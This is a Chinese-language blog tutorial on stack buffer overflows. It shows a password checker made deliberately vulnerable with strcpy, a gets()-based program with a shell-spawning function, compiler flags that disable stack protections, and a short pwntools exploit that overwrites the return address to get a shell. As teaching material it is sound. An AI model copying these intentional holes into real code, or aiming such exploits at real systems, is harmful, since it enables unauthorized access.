pwn???

缓冲区溢出

1、栈溢出

1、缓冲区溢出

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。这里利用C语言不判断数组越界做缓冲区溢出。

2、源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<String.h>
# define passwd "9234567"
int func_A(char *password)
{
int a;
a = strcmp(password,passwd);
return a;
}
int main (int argc,char **argv,char **envp)
{
int flag = 0;
char password[16];
while(1)
{
printf("password:");
scanf("%s",password);
flag = func_A(password);
if(flag)
{
printf("error!!\n");
}else {
printf("sccess!!\n");
break;
}
}
}

这是一个简单验证密码的函数。我们先了解它的栈。

这里解释一下栈的机制:栈是以EBP为基址(栈底),ESP为栈顶。从高地址使用栈,逐渐向低地址扩散。

下图为现在栈的情况:

3、缓冲区溢出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<String.h>
# define passwd "1234567"
int func_A(char *password)
{
int a;
char b[8]; //用于缓冲区溢出
a = strcmp(password,passwd);
strcpy(b,password); //这里缓冲区溢出
return a;
}
int main (int argc,char **argv,char **envp)
{
int flag = 0;
char password[16];
while(1)
{
printf("password:");
scanf("%s",password);
flag = func_A(password);
if(flag)
{
printf("error!!\n");
}else {
printf("sccess!!\n");
break;
}
}
}

这里覆盖a的值,从而达到绕过验证。同样来看看代码的栈情况
如何溢出的,我们来看看如下情况:

这是因为C语言没有判断数组越界的情况,当传入func_A()函数的字节超过8字节时,就会产生溢出,覆盖高地址的值(包括返回地址,这里就可以做很多事的。。)。
程序采用小端序,如果输入的值大于验证的值,a=1;而我们输入8字节,程序字符串都是以null结束的。这时null就会覆盖a的值,使其为null(0);
输入:23456789 就会:sccess

如果输入的值小于验证的值,a=-1(0xFFFFFFFF);而我们输入11字节(比如12345670000),这时null就会覆盖a的值,使其为000;但是并没有成功
开始不理解,后来发现为什么啦,这里就留给读者思考吧。思考使我快乐…

程序很简单,可以自己动手做做。主要理解栈溢出的原理,为以后打好基础。

2、栈溢出——控制流劫持

1、原理

通过覆盖返回地址,让程序执行我们想要执行的位置(任意地址),包括我们构造的shellcode,从而得到shell
换个姿势理解: https://esebanana.github.io/2017/09/14/window-hexo/

2、源码福利

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

3、命令编译程序生成stack1.exe文件

gcc -m32 -no-pie -fno-stack-protector -z execstack -o stack1 stack1.c
-no-pie会关掉PIE,-fno-stack-protector和-z execstack这两个参数会分别关掉Stack Protector和NX

4、分析

使用ida打开,发现如下:

这里就可以覆盖返回地址构造溢出

5、写exp

这里可以安装pwntools,这是一个很好用的工具
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
调试可以用gdb,可以安装插件peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./stack1')
payload = 'A'*24 + p32(0x804846B)
p.sendline(payload)
p.interactive()

Donate
-------------本文结束感谢您的阅读-------------